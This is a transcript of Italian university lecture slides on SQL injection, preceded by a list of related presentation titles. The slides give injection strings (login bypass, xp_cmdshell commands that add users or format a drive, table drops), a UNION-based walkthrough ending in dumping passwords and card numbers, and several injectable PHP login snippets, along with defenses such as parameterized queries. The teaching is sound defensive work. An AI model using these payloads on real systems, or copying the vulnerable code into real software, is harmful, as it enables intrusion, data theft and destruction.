UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto.

Slides:



Advertisements
Presentazioni simili
Prof. Stefano Bistarelli
Advertisements

Sicurezza e concorrenza nelle basi di dati
Microsoft SQL Server 2008 Utilizzo. Creazione DataBase CREATE DATABASE CREATE DATABASE Cinema.
Stored Procedure Function Trigger
© 2007 SEI-Società Editrice Internazionale, Apogeo Unità D3 Sicurezza e concorrenza nelle basi di dati.
Utilizzare PHP 5 Corso Interazione Uomo – Macchina AA 2005/2006.
DG Ricerca Ambientale e Sviluppo FIRMS' FUNDING SCHEMES AND ENVIRONMENTAL PURPOSES IN THE EU STRUCTURAL FUNDS (Monitoring of environmental firms funding.
SQL (Standard query language) Istruzioni per la creazione di una tabella: Create table ( tipo, (, [vincoli]) Primary key ( ) CHIVE PRIMARIA Foreign key(
WSDL (Web Services Description Language) Laurea Magistrale in Informatica Reti 2 (2006/07) dott. Federico Paoloni
JPA Overview della tecnologia. Java Persistence Architecture Definita nella JSR-220 EJB 3.0 ( Tentativo di unificare EJB2.1 con.
Un DataBase Management System (DBMS) relazionale client/server.
MySQL Esercitazioni. Ripasso Connessione a MySQL. Creazione delle basi di dati e delle tablelle. Inserimento dei dati. Interrogazioni.
J0 1 Marco Ronchetti - Corso di Formazione Sodalia – Febbraio 2001 – Modulo Web Programming Tomcat configuration.
EJB Getting started Database: MySql Application Server: Pramati Server Ambiente di sviluppo: Pramati Studio 3 Applicazione esempio: Logon Trento, 30/10/2002.
Directory services Directory offline –Elenchi telefonici –Guide TV –Cataloghi acquisti Directory online –Application specific (lotus notes, MS Exchange.
UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della.
C Consiglio Nazionale delle Ricerche - Pisa Iit Istituto per lInformatica e la Telematica Reasoning about Secure Interoperation using Soft Constraints.
UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della.
UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della.
Biometry to enhance smart card security (MOC using TOC protocol)
2000 Prentice Hall, Inc. All rights reserved. 1 Capitolo 3 - Functions Outline 3.1Introduction 3.2Program Components in C++ 3.3Math Library Functions 3.4Functions.
SQL Esercitazione per il corso “Basi di Dati” Gabriel Kuper
SIMULAZIONE RETE INTERNET INTERNET SERVICE PROVIDER GRUPPO 2 COMMESSA – INFORMATICA GRANATA Corso Sicurezza su Reti II Prof. A. De Santis Anno Accademico.
2000 Prentice Hall, Inc. All rights reserved. 1 Capitolo 6: Classi e astrazione dati 1.Introduzione 2.Definizione delle strutture 3.Accedere ai membri.
Sottoprogrammi e Unità di Compilazione Nicola Fanizzi Laboratorio - Corso di Programmazione (B) C.d.L. in Informatica DIB - Università degli Studi di Bari.
FUNZIONI DI GRUPPO Le funzioni di gruppo operano su un set di record restituendo un risultato per il gruppo. AVG ([DISTINCT|ALL] n) media, ignora i valori.
Constraints.
Componenti dell’architettura Oracle
Palermo, may 2010 F.Doumaz, S.Vinci (INGV-CNT- Gruppo di telerilevamento)
Attribution-NonCommercial-ShareAlike SQL Server.
Project Review byNight byNight December 6th, 2011.
Personalizzazione e porting delle procedure esterne connesse ad Aleph Il caricamento degli utenti della circolazione da files esterni Modifiche introdotte.
Installazione di Drupal su Linux (sistemista) Installazione step-by-step e note.
Schema logico del data warehouse
sql: esempi di linguaggio sql nell'implementazione mysql
Funzioni stringhe. chr Restituisce il carattere di un valore ascii dato. Per vedere lelenco dei codici ascii clicca QQQQ uuuu iiiiEsempio
Visual Studio Tools for Office: Developer Solutions Platform Fulvio Giaccari MCSD.NET / MCT Responsabile Usergroup ShareOffice Blog:
SQL Server 2005 Sicurezza Davide Mauri Factory Software
Basi di Dati e Sistemi Informativi
Project Review Novembrer 17th, Project Review Agenda: Project goals User stories – use cases – scenarios Project plan summary Status as of November.
Project Review byNight byNight December 21th, 2011.
Project Review Novembrer 17th, Project Review Agenda: Project goals User stories – use cases – scenarios Project plan summary Status as of November.
Project Review byNight byNight December 5th, 2011.
SUBQUERY Chi ha un salario maggiore di quello di Abel? Occorre scomporre la query in due sotto problemi: MAIN : quali impiegati hanno un salario maggiore.
CORSI DI FORMAZIONE - Basi di Dati: MySql - Parte 4 - Dicembre Utenti e privilegi del database - 1 Root è lutente amministratore predefinito, ma.
1 Basi di dati (Sistemi Informativi) Scuola di Dottorato in Scienze Veterinarie per la Salute Animale e la Sicurezza Alimentare a.a Ing. Mauro.
Analysis and Development of Functions in REST Logic: Application to the «DataView» Web App UNIVERSITA’ DEGLI STUDI DI MODENA E REGGIO EMILIA DIPARTIMENTO.
Collection & Generics in Java
Sistemi di elaborazione dell’informazione Modulo 3 -Protocolli applicativi Unità didattica 4 - Protocolli del Web Ernesto Damiani Lezione 3 – Esempi HTTP.
CREAZIONE UTENTE SU DATATOP. CREAZIONE UTENTE Andate su //datatop.di.unipi.it/webdb Login come utente: webdb password: ****** Administer -> User Manager.
SQL Developer Lanciare sqldeveloper (alias sul desktop) / c:\Oracle\sqldeveloper Associare tutti i tipi di file, se volete Tasto destro sulla spina “connection”
CREAZIONE UTENTE SU ORACLE1 Pagina delle risorse: crea utente oracle ( D’ora in poi, in questi lucidi, il vostro utente oracle.
Dynamic SQL.
JDBC Java DataBase Connectivity SISTEMI ITIS B. CASTELLI Anno Scolastico
The food Pyramid The breakfast. Food pyramid gives us instructions on how to eat well and stay healthy!!!
1 Università della Tuscia - Facoltà di Scienze Politiche.Informatica 2 - a.a Prof. Francesco Donini Accesso a basi di dati con ASP.
Pagine ASP parte 3 I data base Stefano Schacherl.
© 2007 SEI-Società Editrice Internazionale, Apogeo Unità D3 Sicurezza e concorrenza nelle basi di dati.
Programmazione Web PHP e MySQL 1. 2Programmazione Web - PHP e MySQL Esempio: un blog.
Interazione col DB Per interagire con una base dati da una pagina PHP occorre procedere come segue: Eseguire la connessione al DBMS MySQL in ascolto;
MySQL Database Management System
MyEconLab_Univerità degli studi di Milano, corso Prof.ssa Valentina Raimondi How to Access MyEconLab 1.
PHP MySQL Accesso a database via web. Connessione Script PHP per la connessione a un server MySQL mysql_connect(nomeServer,nomeUtente,password);
Database Elaborato da: Claudio Ciavarella & Marco Salvati.
Nozione ed uso Operazioni eseguite automaticamente ogni volta che avviene un certo evento Uso: –Gestione di vincoli di integrità: Per fallimento Per modifica.
CREAZIONE UTENTE SU ORACLE1
Dati in rete Appunti.
Project Cerberus : Portale per la Gestione dei Server
Studente : Andrea Cassarà Classe: 5AII A.S. 2014/2015 Link Sito
Free .NET Hosting - somee.com
Transcript della presentazione:

UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA SQL Injection Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa Università G. dAnnunzio Dipartimento di Scienze, Pescara

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 2 Setup User input usato in SQL query esempio: login page (ASP) set ok = execute(SELECT * FROM UserTable WHERE username= & form(user) & AND password= & form(pwd) & ); If not ok.EOF login success else fail; Quale e il problema?

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 3 Bad input Supponiamo user = or 1 = 1 -- (URL encoded) Allora lo scripts ottiene: ok = execute( SELECT … WHERE username= or 1=1 -- … ) poich é è presente - - il resto della linea è ignorato. ora ok.EOF è sempre falso. The bad news: facile login a molti siti in questo modo.

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 4 Even worse Supponiamo user = exec cmdshell net user badguy badpwd / ADD -- Allora lo script: ok = execute( SELECT … WHERE username= exec … ) se SQL server è eseguito da sa o root, attaccante ottiene un account sul DB server.

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 5 Demonic strings 2 Remote execution '; exec master..xp_cmdshell 'ping '– Get output '; EXEC master..sp_makewebtask "\\ \share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Insert data ; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'– Delete data| ';drop table users –

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 6 Demonic strings ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 7 Avoiding SQL injection Due suggerimenti: Query parametriche con parametri tipati e controllati Uso di store procedure parametrizzate

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 8 Query parametriche Example: Parameterized SQL: (ASP.NET 1.1) Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username AND password dbConnection); Request[user] ); Request[pwd] ); cmd.ExecuteReader();

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 9 Prepare-execute procedure pg_query($conn, PREPARE stmt_name (text) AS SELECT * FROM users WHERE name=$1); pg_query($conn, EXECUTE stmt_name ({$name})); pg_query($conn, DEALLOCATE stmt_name);

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 10 Magic quotes e real-escape Magic quotes file di configurazione php.ini: voce magic_quotes_gpc funzione addslashes() o funzione mysql_escape_string() su tutte le variabili inserite in una query SQL. Build SQL queries by properly escaping args: \ Nota: mysql escape = \ Firebird escape =

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 11 In genere Controllare sempre linput!! Vediamo un esercizio

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 12 Fabrikam Fabrikam has recently introduced a search feature into their product database, but theyve written it with some rather naïve code. Your first job will be to exploit the SQL injection vulnerability so you understand the implications. Then youll go on the defensive and fix the problem.

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 13 or 1=1 – Good!! union select null – Numero campi query sbagliata union select null, null – ok union select $0, null, null – Ora troviamo il tipo dei campi union select null, null – Versione db! Per vulnerabilita conosciute ' union select null, name, null from sys.databases – Che altri db ci sono? union select null, table_name, null from FabrikamSampleProductDatabase.information_schema.tables -- Che tabelle nei vari db? ' union select null, column_name, null from FabrikamSampleProductDatabase.information_schema.columns where table_name='users' -- Bene che colonne interessanti!! Utenti! ' union select null, +', '+password+', '+cc_type+', '+cc_num+', '+cc_exp+', '+cc_vcode,null from Users --

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 14 Some damage ' update products set price=.01 where description='MP3 Player' -- Ora possiamo comprare lmp3 player ' exec xp_cmdshell 'net user hacker /add' ' exec xp_cmdshell 'format z:'

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 15 Difesa!! Filter input searchString = txtSearch.Text; searchString = txtSearch.Text.Replace("'","''"); sandbox the input data in a parameterized query (visualizzazione progettazione, proprieta del selectcommand select sku, description, price from Products where description order by price Refresh! dataSource.SelectCommand = string.Format( "select sku, description, price from Products where description like '%{0}%' order by price", searchString); dataSource.SelectParameters["s"].DefaultValue = '%' + searchString + '%';

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 16 cod1 if (isset($_POST['user']) && isset($_POST['passwd'])) { include 'mainfile.php'; mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'mainfile.php' $result=mysql_db_query(DB_NAME,"select * from utenti where username='$_POST[user]' and passwd='$_POST[passwd]'"); if (mysql_num_rows($result)!=0) { $_SESSION['user']=$_POST['user'];

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 17 cod2 if (isset($_POST['admin_password'])){ $pwd= $_POST['admin_password']; if ((ereg("\=", $pwd))) //impedisce l'inserimento di alcuni caratteri { echo " alert ('Hai utilizzato un carattere non valido') "; session_destroy(); }; if (isset($_POST['admin_user']) && isset($_POST['admin_password'])) { include '../connessione.php'; mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione.php' $result=mysql_db_query(DB_NAME,"select * from amministratore where admin_user='$_POST[admin_user]' and admin_password='$_POST[admin_password]'"); if (mysql_num_rows($result)!=0) { $_SESSION['admin_user']=$_POST['admin_user']; ?> document.location="home_amministratore.php"

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 18 $nome_utente = $_POST['username']; $password = sha1($_POST['password']); $query="SELECT * FROM MANAGER WHERE NOME_UTENTE='$nome_utente' AND PSWD='$password'"; $connessione = ibase_query(db_connect(),$query); if($row=ibase_fetch_object($connessione)) { $_SESSION['manager']='logged_in'; $_SESSION['facolta'] = $row->COD_FACOLTA; header('Location: genera_cod_step1.php'); } else { $msg_login = " Nome utente e/o password erra ti! "; }

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 19 if (isset($_POST['pass'])) { $pass=filtraggio($_POST['pass'],50); $query=mysql_query("select * from password where pwd=sha1('$pass')") or mysql_showerror(); if ($n=mysql_num_rows($query) > 0) { $_SESSION['autenticato']=true;

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 20 // funzione controllo SQL Injection per dati tipo stringa function filtraggio($str,$val){ if ( get_magic_quotes_gpc()) { $filtro = stripslashes($str); $filtro1 = mysql_real_escape_string(substr($filtro,0,$val)); }else { $filtro1 = mysql_real_escape_string(substr($str,0,$val)); } return $filtro1; }

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 21 cod3 if (isset($_POST['pin'])){ $pwd= $_POST['pin']; if ((ereg("\=", $pwd))) //impedisce l'inserimento di alcuni caratteri { echo " alert ('Hai utilizzato un carattere non valido') "; session_destroy(); }; if (isset($_POST['pin'])){ include 'connessione.php'; mysql_connect(DB_HOST, DB_USER, DB_PASS); // queste sono le variabili definite nel file 'connessione. php' $result=mysql_db_query(DB_NAME,"select * from studenti where pin='$_POST[pin]'"); if (mysql_num_rows($result)!=0) { $_SESSION['pin']=$_POST['pin'];

Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 22 function SQL_Injection(){ foreach ($_POST as $chiave => $elemento) { // elimino i caratteri _ e % sensibili per la parola chiave LIKE $_POST["$chiave"] = str_replace("%", "", $_POST["$chiave"]); //sostituisco le parentesi angolari, onde evitare la creazione d i codice html $_POST["$chiave"] = str_replace("<", "<", $_POST["$chiave"]); $_POST["$chiave"] = str_replace(">", ">", $_POST["$chiave"]); //sostituisco ' con ` $_POST["$chiave"] = str_replace("'", "`", $_POST["$chiave"]); //rimuovo gli spazi all'inizio e alla fine $_POST["$chiave"] = trim($_POST["$chiave"]); // se magic_quotes_gpc è disattivo, mi appoggio a mysql_real_esc ape_string() contro attacco di tipo SQL Injection //if ( !get_magic_quotes_gpc() ) { // e quoto i caratteri \ " ' sensibili per php //$_POST["$chiave"] = mysql_real_escape_string($_POST["$chiave"]); //} }